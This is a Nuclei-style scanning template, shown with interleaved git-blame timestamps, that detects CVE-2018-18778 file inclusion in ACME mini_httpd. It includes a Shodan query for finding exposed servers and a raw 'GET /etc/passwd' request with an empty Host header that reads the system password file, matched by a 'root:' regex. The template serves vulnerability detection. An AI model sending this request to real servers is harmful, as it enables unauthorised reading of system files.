2021-02-25 16:05:18 +00:00
|
|
|
id: CVE-2018-18778
|
|
|
|
|
|
|
|
info:
|
2022-07-26 13:45:11 +00:00
|
|
|
name: ACME mini_httpd <1.30 - Local File Inclusion
|
2023-10-24 07:18:53 +00:00
|
|
|
author: DhiyaneshDK,dogasantos
|
2021-09-10 11:26:40 +00:00
|
|
|
severity: medium
|
2022-07-26 13:45:11 +00:00
|
|
|
description: ACME mini_httpd before 1.30 is vulnerable to local file inclusion.
|
2023-09-27 15:51:13 +00:00
|
|
|
impact: |
|
|
|
|
Successful exploitation of this vulnerability allows an attacker to read arbitrary files on the server.
|
2023-09-06 12:57:14 +00:00
|
|
|
remediation: |
|
|
|
|
Upgrade ACME mini_httpd to version 1.30 or later to mitigate this vulnerability.
|
2022-04-22 10:38:41 +00:00
|
|
|
reference:
|
|
|
|
- https://www.acunetix.com/vulnerabilities/web/acme-mini_httpd-arbitrary-file-read/
|
2022-05-17 09:18:12 +00:00
|
|
|
- http://www.acme.com/software/mini_httpd/
|
2022-07-26 13:45:11 +00:00
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2018-18778
|
2024-01-29 17:11:14 +00:00
|
|
|
- https://github.com/0xT11/CVE-POC
|
|
|
|
- https://github.com/ARPSyndicate/cvemon
|
2021-09-10 11:26:40 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
|
2022-04-22 10:38:41 +00:00
|
|
|
cvss-score: 6.5
|
2021-09-10 11:26:40 +00:00
|
|
|
cve-id: CVE-2018-18778
|
|
|
|
cwe-id: CWE-200
|
2024-05-31 19:23:20 +00:00
|
|
|
epss-score: 0.39341
|
|
|
|
epss-percentile: 0.97248
|
2023-09-06 12:57:14 +00:00
|
|
|
cpe: cpe:2.3:a:acme:mini-httpd:*:*:*:*:*:*:*:*
|
2023-04-28 08:11:21 +00:00
|
|
|
metadata:
|
2023-11-23 13:39:16 +00:00
|
|
|
max-request: 2
|
2023-07-11 19:49:27 +00:00
|
|
|
vendor: acme
|
|
|
|
product: mini-httpd
|
2023-10-24 07:18:53 +00:00
|
|
|
shodan-query: 'Server: mini_httpd && 200'
|
2023-12-05 09:50:33 +00:00
|
|
|
tags: cve,cve2018,lfi,mini_httpd,acme
|
2021-03-11 16:22:34 +00:00
|
|
|
|
2023-04-27 04:28:59 +00:00
|
|
|
http:
|
2023-10-24 07:15:22 +00:00
|
|
|
- method: GET
|
|
|
|
path:
|
|
|
|
- "{{BaseURL}}"
|
|
|
|
|
|
|
|
matchers:
|
2023-10-24 07:26:19 +00:00
|
|
|
- type: word
|
2023-10-24 07:15:22 +00:00
|
|
|
part: header
|
2023-10-24 07:26:19 +00:00
|
|
|
words:
|
|
|
|
- "Server: mini_httpd"
|
2023-10-24 07:15:22 +00:00
|
|
|
|
2021-02-25 16:05:18 +00:00
|
|
|
- raw:
|
|
|
|
- |+
|
|
|
|
GET /etc/passwd HTTP/1.1
|
2021-03-11 20:16:35 +00:00
|
|
|
Host:
|
2021-02-25 16:05:18 +00:00
|
|
|
|
|
|
|
unsafe: true
|
2023-07-11 19:49:27 +00:00
|
|
|
|
2021-02-25 16:05:18 +00:00
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: regex
|
|
|
|
regex:
|
2021-07-24 21:35:55 +00:00
|
|
|
- "root:.*:0:0:"
|
2023-07-11 19:49:27 +00:00
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|
2024-06-01 06:53:00 +00:00
|
|
|
# digest: 4b0a00483046022100bb4b10a8be843bbc16bdad1882a670d91a4df47976608093c047e589d1ec9d5f022100db20167c16d3b5a54b8abadd1035b44725fa8989926dadda9c968bc8727520d4:922c64590222798bb761d5b6d8e72950
|